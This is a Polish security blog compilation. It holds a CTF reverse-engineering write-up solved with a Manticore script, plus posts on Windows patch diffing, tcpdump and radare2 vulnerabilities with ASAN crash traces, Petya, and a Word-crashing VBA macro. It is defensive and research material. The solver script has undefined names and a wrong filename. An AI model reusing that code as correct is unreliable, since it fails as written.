PWNing 2017 – Rozwiązanie zadania RE150 “Military grade algorithm” za pomocą Manticore

Początek listopada przyniósł kolejną świetną konferencję – Security PWNing Conference 2017. W tym roku miałem przyjemność współtworzyć z zespołem P4 konkurs CTF organizowany w ramach tej konferencji. Poniżej zaprezentuję rozwiązanie mojego zadania z RE, wycenianego na 150 punktów. W trakcie trwania konkursu rozwiązało je dwanaście osób.

Clue zadania był szereg odwracalnych, lecz najzwyczajniej w świecie upierdliwych do ręcznego liczenia operacji (dodawanie, odejmowanie, mnożenie oraz xor). Zadanie to było modelowym problemem do zaprzęgnięcia Symbolic Execution, co ninejszym uczynię z pomocą bardzo interesującego frameworka Manticore.

Reverse engineering binarki

Poza enigmatycznym opisem zadania: “Dane Cyberlandii chroni nowy autorski algorytm o sile “military grade”. Czy podołasz zadaniu i go złamiesz?“, otrzymujemy niewielką binarkę w formacie ELF:

a@b:~/Downloads$ file re3 
re3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=28f523af671d756a9abb946580d040a60acb486e, not stripped

Wrzućmy ją do IDA’y i zajrzyjmy do main():

Logika programu wygląda prosto: od użytkownika pobierana jest flaga za pomocą funkcji fgets i przekazywana do funkcji check_all po zdekompilowaniu wyglądająca w następujący sposób:

Widać wyraźnie, że każdej literze flagi “przypisana” jest funkcja sprawdzająca konkretną literę. Poniżej listing funkcji check_flag_17:

Skoro już wiemy z jakim problemem przyjdzie się nam zmierzyć, przystępujemy do działania 🙂

Łączymy kropki: RE + Manticore

Pierwszym problemem do pokonania jest pobieranie danych do programu – musimy w jakiś sposób zasymulować wprowadzanie danych przez użytkownika za pomocą skryptu. Z racji tego, że mamy pełną kontrolę nad wykonaniem kodu, możemy “przeskoczyć” niewygodny fragment kodu za pomocą ręcznego ustawienia rejestru RIP.

Ze screenshota można odczytać, że pierwsza instrukcja asma przed wyciętym fragmentem znajduje się pod adresem 0x40104E, a ostatnia pod 0x40106B. Z boku zapisujemy sobie również, że wywołanie funkcji check_all() jest pod adresem 0x401072.

Pierwszą rzeczą, którą musimy zrobić jest hook adresu 0x40104E i wpisanie w RIP wartości 0x40106B. Drugą jest zauważenie (albo statycznie, albo w debuggerze), że pod adresem 0x40106F w rejestrze RDI znajduje się adres wpisywanej flagi (oznaczony czerwoną strzałką).

Fragment kodu odpowiedzialny za tą operacje:

from manticore import Manticore

flag = None
m = Manticore('re3')

# "Przeskok" nad funkcją fgets()
@m.hook(0x40104E)
def hook(state):
    state.cpu.EIP = 0x40106B

# Pobranie adresu z rejestru RDI i stworzenie bufora dla symbolic execution wraz z zapisem danych do niego
@m.hook(0x401072)
def hook(state):
    global flag
    flag = state.cpu.RDI
    buffer = state.new_symbolic_buffer(34)
    state.cpu.write_bytes(flag, buffer)

Skoro mamy już załatwioną sprawę funkcji gets() oraz adresu bufora w którym przechowywana jest flaga, nie pozostaje nic innego jak kazać Manticore samodzielnie rozwiązać zadanie.

W tym celu musimy znaleźć adres końca funkcji wywołującej po kolei funkcje do sprawdzania poszczególnych znaków flagi, czyli check_all(). A konkretniej: nteresuje nas fragment przed instrukcją ret i oczywiście leave też 😉 :

Wiedząc, że jest to adres 0x40102B możemy w tym miejscu rozpocząć rozwiązywanie flagi za pomocą poniższego fragmentu kodu:

from manticore import Manticore

flag = None
m = Manticore('re3')

# "Przeskok" nad funkcją fgets()
@m.hook(0x40104E)
def hook(state):
    state.cpu.EIP = 0x40106B

# Pobranie adresu z rejestru RDI i stworzenie bufora dla symbolic execution wraz z zapisem danych do niego
@m.hook(0x401072)
def hook(state):
    global flag
    flag = state.cpu.RDI
    buffer = state.new_symbolic_buffer(34)
    state.cpu.write_bytes(flag, buffer)

# Rozwiązanie flagi w miejscu końca funkcji check_all()
@m.hook(0x40102B)
def hook(state):
    flag = ''.join(map(chr, state.solve_buffer(flag_buffer, 34)))
    print(flag)
    state.abandon()

# Porzucenie aktualnego stanu, tak aby nie rozwiązywać w nieskończoność: hook dla funkcji exit()
def exit_hook(state):
    state.abandon()

W poprzednim kroku “przemyciłem” też ważny fragment kodu – obsłużenie wywołania funkcji exit(), które zakończy operacje na poszukiwanym buforze. W tym celu musimy zrobić hooka na wszystkie wywołania funkcji exit(). Niestety nie jest to zapewnione z automatu i trzeba o tym pamiętać, aby w końcu dostać upragnioną flagę 😉

Informację pod jakimi adresami jest wywoływana funkcja exit() możemy znaleźć za pomocą polecenia: objdump -d re3 | grep exit

a@b:~/Downloads$ objdump -d re3 | grep exit
  4004e8:	e8 73 00 00 00       	callq  400560 <exit@plt+0x10>
0000000000400550 <exit@plt>:
  400685:	e8 c6 fe ff ff       	callq  400550 <exit@plt>
  4006b8:	e8 93 fe ff ff       	callq  400550 <exit@plt>
  4006ea:	e8 61 fe ff ff       	callq  400550 <exit@plt>
  40071a:	e8 31 fe ff ff       	callq  400550 <exit@plt>
  40074c:	e8 ff fd ff ff       	callq  400550 <exit@plt>
  400782:	e8 c9 fd ff ff       	callq  400550 <exit@plt>
  4007b5:	e8 96 fd ff ff       	callq  400550 <exit@plt>
  4007eb:	e8 60 fd ff ff       	callq  400550 <exit@plt>
  400824:	e8 27 fd ff ff       	callq  400550 <exit@plt>
  40085e:	e8 ed fc ff ff       	callq  400550 <exit@plt>
  400894:	e8 b7 fc ff ff       	callq  400550 <exit@plt>
  4008cd:	e8 7e fc ff ff       	callq  400550 <exit@plt>
  400908:	e8 43 fc ff ff       	callq  400550 <exit@plt>
  400941:	e8 0a fc ff ff       	callq  400550 <exit@plt>
  40097a:	e8 d1 fb ff ff       	callq  400550 <exit@plt>
  4009b0:	e8 9b fb ff ff       	callq  400550 <exit@plt>
  4009e2:	e8 69 fb ff ff       	callq  400550 <exit@plt>
  400a1b:	e8 30 fb ff ff       	callq  400550 <exit@plt>
  400a4b:	e8 00 fb ff ff       	callq  400550 <exit@plt>
  400a84:	e8 c7 fa ff ff       	callq  400550 <exit@plt>
  400ab7:	e8 94 fa ff ff       	callq  400550 <exit@plt>
  400af6:	e8 55 fa ff ff       	callq  400550 <exit@plt>
  400b2b:	e8 20 fa ff ff       	callq  400550 <exit@plt>
  400b64:	e8 e7 f9 ff ff       	callq  400550 <exit@plt>
  400b9a:	e8 b1 f9 ff ff       	callq  400550 <exit@plt>
  400bcd:	e8 7e f9 ff ff       	callq  400550 <exit@plt>
  400c03:	e8 48 f9 ff ff       	callq  400550 <exit@plt>
  400c41:	e8 0a f9 ff ff       	callq  400550 <exit@plt>
  400c7a:	e8 d1 f8 ff ff       	callq  400550 <exit@plt>
  400cad:	e8 9e f8 ff ff       	callq  400550 <exit@plt>
  400ce7:	e8 64 f8 ff ff       	callq  400550 <exit@plt>
  400d23:	e8 28 f8 ff ff       	callq  400550 <exit@plt>
  400d5d:	e8 ee f7 ff ff       	callq  400550 <exit@plt>

Parsowanie tego outputu możemy dodać do naszego skryptu w następujący sposób:

from manticore import Manticore

flag = None
m = Manticore('re3')

# Parsowanie outputu z objdump, celem wyciągnięcia adresów wywołania funkcji exit()
def get_exits():
    def addr(line):
        return int(line.split()[0][:-1], 16)

    exits_disasm = check_output("objdump -d re_symbolic | grep exit", shell=True)
    exits = [addr(line) for line in exits_disasm.split('\n')[2:-1]]
    for e in exits:
        yield e


# "Przeskok" nad funkcją fgets()
@m.hook(0x40104E)
def hook(state):
    state.cpu.EIP = 0x40106B

# Pobranie adresu z rejestru RDI i stworzenie bufora dla symbolic execution wraz z zapisem danych do niego
@m.hook(0x401072)
def hook(state):
    global flag
    flag = state.cpu.RDI
    buffer = state.new_symbolic_buffer(34)
    state.cpu.write_bytes(flag, buffer)

# Rozwiązanie flagi w miejscu końca funkcji check_all()
@m.hook(0x40102B)
def hook(state):
    flag = ''.join(map(chr, state.solve_buffer(flag_buffer, 34)))
    print(flag)
    state.abandon()

# Porzucenie aktualnego stanu, tak aby nie rozwiązywać w nieskończoność: hook dla funkcji exit()
def exit_hook(state):
    state.abandon()

# Dodanie hooków na wszyskie wywołania funkcji exit()
for index, exit in enumerate(get_exits()):
    m.add_hook(exit, exit_hook)

Ostatnim krokiem jest skonfigurowanie workerów obiektu Manticore i uruchomienie analizy:

from manticore import Manticore

flag = None
m = Manticore('re3')

# Parsowanie outputu z objdump, celem wyciągnięcia adresów wywołania funkcji exit()
def get_exits():
    def addr(line):
        return int(line.split()[0][:-1], 16)

    exits_disasm = check_output("objdump -d re_symbolic | grep exit", shell=True)
    exits = [addr(line) for line in exits_disasm.split('\n')[2:-1]]
    for e in exits:
        yield e


# "Przeskok" nad funkcją fgets()
@m.hook(0x40104E)
def hook(state):
    state.cpu.EIP = 0x40106B

# Pobranie adresu z rejestru RDI i stworzenie bufora dla symbolic execution wraz z zapisem danych do niego
@m.hook(0x401072)
def hook(state):
    global flag
    flag = state.cpu.RDI
    buffer = state.new_symbolic_buffer(34)
    state.cpu.write_bytes(flag, buffer)

# Rozwiązanie flagi w miejscu końca funkcji check_all()
@m.hook(0x40102B)
def hook(state):
    flag = ''.join(map(chr, state.solve_buffer(flag_buffer, 34)))
    print(flag)
    state.abandon()

# Porzucenie aktualnego stanu, tak aby nie rozwiązywać w nieskończoność: hook dla funkcji exit()
def exit_hook(state):
    state.abandon()

# Dodanie hooków na wszyskie wywołania funkcji exit()
for index, exit in enumerate(get_exits()):
    m.add_hook(exit, exit_hook)

# "Gadatliwość" Manticore
m.verbosity = 0
# 1 worker = 1 core w CPU
m.workers = 4
# Wewnętrzna optymalizacja działania Manticore
m.should_profile = True
# Uruchomienie analizy
m.run()

Skrypt po około minucie działania na VM (4 wirtualne procesory) wyświetli nam poszukiwaną flagę:

a@b:~/Downloads$ python re3_solver.py 
pwn{symbolic_execution_4_the_win}

Security BSides Warsaw 2017

Tradycją staje się, że co roku występuję na Security Bsides Warsaw 🙂 Podczas tegorocznej opowiadałem o lessons learned i efektach projektu, który prowadzę już rok: fuzzowania różnych projektów open-source.

Jak w poprzednim roku, Cooper zapewnił świetny streaming i każdą nagrywaną sesję można obejrzeć na kanale YT wydarzenia.

Tutaj znajduje się moja prezentacja, natomiast poniżej możesz obejrzeć nagranie z mojej sesji:

Zaproszenie na Security BSides Warsaw 2017

Tradycją już jest, że każdej jesieni, w okolicach połowy października spotykają się ze sobą IT Sec junkies w przyciasnej sali konferencyjnej, warszawskiej knajpy Państwo Miasto – mowa oczywiście o kolejnej odsłonie najlepszej i darmowej konferencji entuzjastów bezpieczeństwa Security BSides Warsaw 🙂

W poprzednim roku opowiadałem o procesie fuzzowania za pomocą American Fuzzy Lop. Podczas tegorocznej edycji wydarzenia tematem mojej prezentacji będzie podsumowanie, trwającego już ponad rok, projektu fuzzowania rozwiązań open-source.

Skupię się nie tylko na technicznych aspektach samego procesu fuzzingu i wyciągniętych wnioskach, lecz również na współpracy z deweloperami oraz rozszerzeniu procesu typowego CI. Wisienką na torcie będą nietypowe problemy znalezione na przestrzeni roku.

Jestem również pewien, że moi koledzy z pracy: Maciek Kotowicz tematem “Podobieństwa i różnice czyli analiza malware’u dla leniwych” oraz Jarek JedynakJak źle użyć kryptografii” zrobią niezłe show 🙂

Zapraszam na nasze prezentacje (piątek 13.10.2017, od 13:30 do 16:30) 🙂

tcpdump 4.9.0 & 4.9.1 – 15 x CVE

Z racji okresu urlopowego i wakacji, niewiele działo się na blogu – zaległości zaczynam odrabiać tym wpisem 🙂

Na początku września została wydana wersja 4.9.2 popularnego narzędzia do przechwytywania pakietów tcpdump, łatająca ponad 85 podatności bezpieczeństwa.

Moim “łupem” w tej niemałej puli było 15 poniższych CVE:

Podatności od “drugiej” strony – Windows patch diffing

Deweloperzy systemu operacyjnego Windows w tym roku nie mają łatwego życia – sama “dziesiątka” od początku roku uzbierała ponad 150 CVE. Microsoft, swoim zwyczajem wydaje poprawki w drugi wtorek każdego miesiąca (słynne “patch tuesday”). Dzień ten wypadł akurat przedwczoraj – więc stąd wpis nieco odmienny od głównej tematyki bloga 😉

Biuletyny bezpieczeństwa często bardzo enigmatycznie opisują co było zepsute i co zostało naprawione – pozostaje liczyć na writeupy badaczy (głównie Google Project Zero) i czasami Microsoft (tutaj drugi post).

Wiedza ta może się przydać nie tylko do pisania exploitów i identyfikacji słabości softu, lecz również do patchowania starszych systemów (polecam zapoznać się z bardzo fajną inicjatywą o nazwie 0patch).

Od czego zacząć i co dalej?

Od czekania na patch tuesday 😉 Kiedy już pojawią się poprawki możemy wytypować interesujący nas błąd i pobrać do niego poprawkę (w przypadku Windows 10 nie jest to takie proste – zazwyczaj wydawane są tzw. Cumulative Update, które zawierają poprawki dla wielu różnych luk oraz nowe funkcjonalności).

Warto trzymać się zasady, że patche reversujemy na najstarszej możliwej wersji systemu – będzie po prostu łatwiej 🙂

Wszelkie kroki będę pokazywał z wykorzystaniem błędu CVE-2017-8463 (na Windows 10) poprawionego w ostatnim cyklu poprawek.

1. Pobieramy poprawkę z Windows Update Catalog. Możemy spróbować wypakować ją (format MSU / CAB) ręcznie za pomocą polecenia:

expand -F:* <msu/cab> <dest_folder>

2. Jest to bardzo niewygodne w przypadku Cumulative Update – w zamian polecam skrypt PatchExtact Grega Linaresa‏ (na wszelki wypadek: mój mirror).

Opdalenie jest bardzo proste i sprowadza się jedynie do podania ścieżek:

Powershell -ExecutionPolicy Bypass -File .\PatchExtract.ps1 -Patch .\windows10.0-kb4025338-x64_c99d7772ad0f6f3340a438d2e82eba7e5c3b2fca.msu -Path C:\Users\XYZ\Desktop\PATCH_TUESDAY_120717

3. Po około 15-20 minutach skrypt posprząta po sobie i uporządkuje nam pliki w strukturze katalogów jak na screenie:

Ze wszystkich folderów interesują nas tylko foldery: x86 oraz x64 – w nich będziemy poszukiwać swieżo poprawionych plików:

4. Wyszukujemy folder z interesującą binarką – w naszym wypadku poprawionym plikiem explorer.exe. Dla własnej wygody polecam zmienić nazwę pliku i przekopiować niezaktualizowany plik w inne miejsce.

5. Instalujemy Zynamic BinDiff (jeżeli jest za ciężki to polecam Diaphorę) i ładujemy obydwa pliki do IDA Pro, celem stworzenia baz IDB, potrzebnych do porównania binarnego.

W tym miejscu warto napisać o dwóch rzeczach:

  1. Polecam pobierać symbole za pomocą PDBDownloader (bardzo ułatwia pracę!)
  2. Należy przygotować się na pracę bez symboli i z dużą ilością “śmieci” które będa zaciemniać obraz sytuacji

6. Skrót klawiszowy CTRL+6 wyzwoli uruchomienie okienka BinDiffa z którego wybieramy opcje: Diff Database i wskazujemy bazę IDA niepatchowanej binarki

7. Po około kilkunastu sekundach pojawią się wyniki analizy – najbardziej interesującą zakładką z perspektywy analizy jest Matched Functions (zaznaczona na pomarańczowo). Najszybszym podejściem jest rozpoczęcie pracy od dwóch pierwszych kolumn pokazujących stopień podobieństwa funkcji oraz prawdopodobieństwo z jakim BinDiff jest w stanie stwierdzić, że jest to odpowiednik tej samej funkcji z drugiego pliku.

W moim przypadku najwygodniejsze jest posortowanie funkcji względem kolumny confidence (zaznaczona na pomarańczowo) i wyszukanie funkcji z jak najwyższym współczynnikiem confidence i oczywiście jak najniższym similarity.

8. Aby podejrzeć poczynione zmiany należy kliknąć prawym przyciskiem myszy na interesującej pozycji i wybrać opcję View Flowgraphs (lub CTRL+E).

Legenda grafu: kolor zielony – pozycje niezmienione; kolor czerwony – pozycje usunięte; kolor szary – pozycje dodane

To by było na tyle szybkiego wprowadzenia do tematu 🙂

Dla zainteresowanych czytelników polecam prezentację “Microsoft Patch Analysis for Exploitation” Stephena Simsa (slajdy).

Petya Ransomware

Zachęcam do zapoznania sie z moim wpisem na blogu CERT Polska o wczorajszym ataku ransomware, który sparaliżował wiele instytucji na Ukrainie oraz w Polsce – Petya.

Zajawka:

Duet Petya & Mischa jest na rynku ransomware od końcówki 2015 roku. Po sukcesie ataku WannaCry, ostatni wariant został wzbogacony o funkcje propagacji wewnątrz sieci za pomocą exploita EternalBlue, PsExec oraz Windows Management Instrumentation Command-line (WMIC).

Wczorajsza kampania uderzyła przede wszystkim w sieci ukraińskie (dostawca energii Ukrenergo, system monitoringu promieniowania elektrowni w Czarnobylu oraz producent samolotów Antonov) oraz rosyjskie.

W przypadku Polski otrzymaliśmy tylko jedno potwierdzone zgłoszenie, lecz innymi kanałami udało się ustalić kilka zainfekowanych firm.

Całość wpisu 🙂

 

Pożyczony & zapomniany kod – dlaczego tego nie robić?

Krótka historyjka

Mimo, że tytuł posta jest dosyć oczywisty – porusza on całkiem poważny problem wielu projektów open-source i nie tylko.

Używamy cudzy kod, rozwijamy własny projekt, generalnie wszystko jest całkiem okej. Po pewnym czasie skupiamy się na funkcjonalnościach i problemach doraźnych, wiedząc, że “pożyczony” kod sobie działa i spełnia nasze oczekiwania. Mija nawet kilka lat, kod sobie dalej działa a priorytety projektu (i jego rozmiar) znacząco, lub nie, zostały zmienione i prawdopodobnie zmierzamy ku całkiem innemu celowi, niż pierwotnie zakładaliśmy.

Dlaczego zaczynam tak “na około”? Dlatego, że ta historia, całkiem niedawno dotknęła projekt radare2 (pisałem o nim m.in. tutaj). Efekt: cztery błędy związane tylko i wyłącznie z pożyczonym kodem z projektu GRUB. Kod ma ponad czteroletnią historię (okolice listopada 2013) i jest załatany od jakiegoś czasu w oficjalnym repozytorium projektu.

Morał z historyjki, w czterech częściach

Lista wyżej przytoczonych błędów w kolejności od “dotkliwości” problemu:

#1. Stack buffer underflow

radare2 Git HEAD: ad764839b20818d629131d4e07bda0038f9d747f

ASAN:

==32384==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffd57d028f8 at pc 0x7fc9c5b6ac47 bp 0x7ffd57d01c40 sp 0x7ffd57d01c38
WRITE of size 16 at 0x7ffd57d028f8 thread T0
    #0 0x7fc9c5b6ac46 in grub_memmove XYZ/radare2/shlr/grub/kern/misc.c:98:7
    #1 0x7fc9c5b67800 in grub_disk_read XYZ/radare2/shlr/grub/kern/disk.c:488:3
    #2 0x7fc9c5b68268 in grub_disk_read_ex XYZ/radare2/shlr/grub/kern/disk.c:563:12
    #3 0x7fc9c5b0754d in grub_fshelp_read_file XYZ/radare2/shlr/grub/fs/fshelp.c:333:4
    #4 0x7fc9c5b1134d in grub_ext2_read_file XYZ/radare2/shlr/grub/fs/ext2.c:504:9
    #5 0x7fc9c5b1134d in grub_ext2_iterate_dir XYZ/radare2/shlr/grub/fs/ext2.c:690
    #6 0x7fc9c5b0faf2 in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:876:3
    #7 0x7fc9c5af0c58 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
    #8 0x7fc9c5afbeaa in r_fs_mount XYZ/radare2/libr/fs/fs.c:151:7
    #9 0x7fc9c8f20dfb in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:49:9
    #10 0x7fc9c90e76af in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:226:10
    #11 0x7fc9c8fd5811 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2191:12
    #12 0x7fc9c8f1d5b7 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1395:9
    #13 0x7fc9c8f16d24 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2799:9
    #14 0x7fc9c8f0183f in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2957:8
    #15 0x7fc9c90c1752 in bin_info XYZ/radare2/libr/core/cbin.c:621:4
    #16 0x7fc9c90c1752 in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2870
    #17 0x7fc9c90b1e41 in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:115:3
    #18 0x7fc9c903d974 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:434:2
    #19 0x7fc9c903d974 in r_core_bin_load XYZ/radare2/libr/core/file.c:567
    #20 0x555f8a113f6b in main XYZ/radare2/binr/radare2/radare2.c:952:14
    #21 0x7fc9c1bc782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #22 0x555f8a043f38 in _start (/usr/local/bin/radare2+0x20f38)

ASAN:DEADLYSIGNAL
AddressSanitizer: nested bug in the same thread, aborting

GitHub Issue #7683

Commit naprawiający

CVE: CVE-2017-9949

#2. Excessive stack usage (zmienna przepełniająca ramkę stosu)

radare2 Git HEAD: ba25be4934ecd65b71170f7381655325157bde09

ASAN:

==13184==ERROR: AddressSanitizer: stack-overflow on address 0x7ffcef7dce98 (pc 0x7f9c7499cecc bp 0x7ffcf37dcf70 sp 0x7ffcef7dcea0 T0)
    #0 0x7f9c7499cecb in grub_ext2_read_block XYZ/radare2/shlr/grub/fs/ext2.c:389:4
    #1 0x7f9c74991326 in grub_fshelp_read_file XYZ/radare2/shlr/grub/fs/fshelp.c:305:15
    #2 0x7f9c7499b116 in grub_ext2_read_file XYZ/radare2/shlr/grub/fs/ext2.c:504:9
    #3 0x7f9c7499b116 in grub_ext2_iterate_dir XYZ/radare2/shlr/grub/fs/ext2.c:672
    #4 0x7f9c749999a1 in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:882:3
    #5 0x7f9c7497ae95 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
    #6 0x7f9c74985fc4 in r_fs_mount XYZ/radare2/libr/fs/fs.c:151:7
    #7 0x7f9c77d7537d in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:49:9
    #8 0x7f9c77f3a25c in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:226:10
    #9 0x7f9c77e28ae1 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2156:12
    #10 0x7f9c77d70d1e in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1360:9
    #11 0x7f9c77d6a626 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2764:9
    #12 0x7f9c77d555ad in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2922:8
    #13 0x7f9c77f142d7 in bin_info XYZ/radare2/libr/core/cbin.c:621:4
    #14 0x7f9c77f142d7 in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2873
    #15 0x7f9c77f04fd0 in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:115:3
    #16 0x7f9c77e8e263 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:434:2
    #17 0x7f9c77e8e263 in r_core_bin_load XYZ/radare2/libr/core/file.c:567
    #18 0x556a34e7013d in main XYZ/radare2/binr/radare2/radare2.c:952:14
    #19 0x7f9c70671510 in __libc_start_main (/usr/lib/libc.so.6+0x20510)
    #20 0x556a34d7ce29 in _start (/usr/local/bin/radare2+0x20e29)

SUMMARY: AddressSanitizer: stack-overflow XYZ/radare2/shlr/grub/fs/ext2.c:389:4 in grub_ext2_read_block
==13184==ABORTING

GitHub Issue #7723

Commit naprawiający

CVE: CVE-2017-9763

#3. FPE (dzielenie przez zero)

radare2 Git HEAD: 90ffb5463df15326cd8261da99b85597d4eb6b3b

==10375==ERROR: AddressSanitizer: FPE on unknown address 0x7fb2f4af4726 (pc 0x7fb2f4af4726 bp 0x7fff41d52850 sp 0x7fff41d52720 T0)
#0 0x7fb2f4af4725 in grub_ext2_read_inode XYZ/radare2/shlr/grub/fs/ext2.c:525:29
#1 0x7fb2f4af2ce4 in grub_ext2_mount XYZ/radare2/shlr/grub/fs/ext2.c:593:3
#2 0x7fb2f4af19ac in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:863:10
#3 0x7fb2f4ad2c58 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
#4 0x7fb2f4addeaa in r_fs_mount XYZ/radare2/libr/fs/fs.c:151:7
#5 0x7fb2f7ef996b in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:49:9
#6 0x7fb2f80be7df in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:226:10
#7 0x7fb2f7faddeb in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2178:12
#8 0x7fb2f7ef6127 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1368:9
#9 0x7fb2f7eef8b9 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2786:9
#10 0x7fb2f7eda74f in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2942:8
#11 0x7fb2f8098e42 in bin_info XYZ/radare2/libr/core/cbin.c:621:4
#12 0x7fb2f8098e42 in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2870
#13 0x7fb2f8089531 in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:115:3
#14 0x7fb2f8015064 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:434:2
#15 0x7fb2f8015064 in r_core_bin_load XYZ/radare2/libr/core/file.c:567
#16 0x55e7cf695f6b in main XYZ/radare2/binr/radare2/radare2.c:952:14
#17 0x7fb2f0bae82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#18 0x55e7cf5c5f38 in _start (/usr/local/bin/radare2+0x20f38)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE XYZ/radare2/shlr/grub/fs/ext2.c:525:29 in grub_ext2_read_inode
==10375==ABORTING

GitHub Issue #7650

Commit naprawiający

CVE: N/A

#4. FPE (modulo przez zero)

radare2 Git HEAD: 4ae632133ed34c7f80949a8a705635608a4ac45d

==1943==ERROR: AddressSanitizer: FPE on unknown address 0x7f5778308fd5 (pc 0x7f5778308fd5 bp 0x7fff9b7706a0 sp 0x7fff9b7705a0 T0)
#0 0x7f5778308fd4 in grub_ext2_read_inode XYZ/radare2/shlr/grub/fs/ext2.c:530:5
#1 0x7f5778307eb8 in grub_ext2_mount XYZ/radare2/shlr/grub/fs/ext2.c:582:3
#2 0x7f577830718f in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:848:10
#3 0x7f57782f55d8 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
#4 0x7f57782fd357 in r_fs_mount XYZ/radare2/libr/fs/fs.c:141:7
#5 0x7f577af9af12 in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:57:9
#6 0x7f577b0801fc in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:213:10
#7 0x7f577afccbea in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2039:16
#8 0x7f577af98f67 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1332:9
#9 0x7f577af95f85 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2595:9
#10 0x7f577af8b538 in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2735:8
#11 0x7f577b069581 in bin_info XYZ/radare2/libr/core/cbin.c:593:4
#12 0x7f577b066f0e in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2610:45
#13 0x7f577b066d3d in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:109:3
#14 0x7f577b02d645 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:409:2
#15 0x7f577b02b8ef in r_core_bin_load XYZ/radare2/libr/core/file.c:527:4
#16 0x5586a8089593 in main XYZ/radare2/binr/radare2/radare2.c:822:14
#17 0x7f57748fe82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#18 0x5586a7fbbe58 in _start (/usr/local/bin/radare2+0x20e58)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE XYZ/radare2/shlr/grub/fs/ext2.c:530:5 in grub_ext2_read_inode
==1943==ABORTING

GitHub Issue #6327

Commit naprawiający

CVE: N/A

Podwójnie “złośliwe” makro VBA

Nieco przydługi wstęp

Przyglądając się kampaniom mailingowym rozsiewającym złośliwe oprogramowanie, z dużą dozą pewności można stwierdzić, że w ponad 70% przypadków złośliwym załącznikiem jest plik pakietu Office – Word lub Excel zawierający makro.

Na przestrzeni ostatnich miesięcy aktor określany jako Thomas jest “głównym graczem” na polskim rynku takiego mailingu – kampanie Play, Alior Bank czy Paczki w RUCHu to tylko wycinek z wykorzystywanych przez niego scenariuszy. Poza scenariuszami mailingu ich autor dba również o techniczną stronę przedsięwzięcia – dokumenty zawierają zaciemnione lub zahasłowane makra, które mają chronić przed analizą lub budową sygnatur (w tym miejscu pominę skuteczność tych metod 😉 ).

Niestety (-stety) narzędzia wykorzystywane przez Thomasa nie są doskonałe – jeden z obfuskatorów Visual Basic w taki sposób zaciemnił kod makra, że przy jego uruchomieniu MS Word 2013 / 2016 ulega awarii z powodu odwołania do nieistniejącego obiektu w pamięci, czyli popularnego błędu null-pointer-dereference.

Screenshot z otwartego pliku w MS Word

Krótka analiza błędu

Załącznik maila (Zamówienie i płatność.doc, SHA1: a7d3025af58ce47189c5b51d36ab52a284642849) powoduje awarię we współdzielonej bibliotece VBE7.dll. Plik ten jest wykorzystywany we wszystkich programach pakietu Office 2013 / 2016 (we wcześniejszych prawdopodobnie też, lecz niestety nie miałem okazji przetestować 😉 ).

W podatnej funkcji (pod adresem 0x18016421C) deweloper biblioteki zapomniał o walidacji struktury przekazywanej do niej [funkcji] w argumencie. Niewłaściwa lub pusta wartość powoduje odwołanie do nieistniejącego miejsca w pamięci (adres w RDI + 0x28h), co widać wyraźnie na poniższym listingu kodu funkcji. Skutkuje to oczywiście awarią całego programu MS Word.

0:000> r
rax=0000000000000000 rbx=0000000000000000 rcx=00007ffe632758b0
rdx=0000000000000000 rsi=0000000000000001 rdi=0000000000000000
rip=00007ffe62f8f273 rsp=000000ed22f49350 rbp=000000ed22f49370
 r8=0000000000000001  r9=0000000000000000 r10=000000ed2f240150
r11=00007ffe632689f8 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

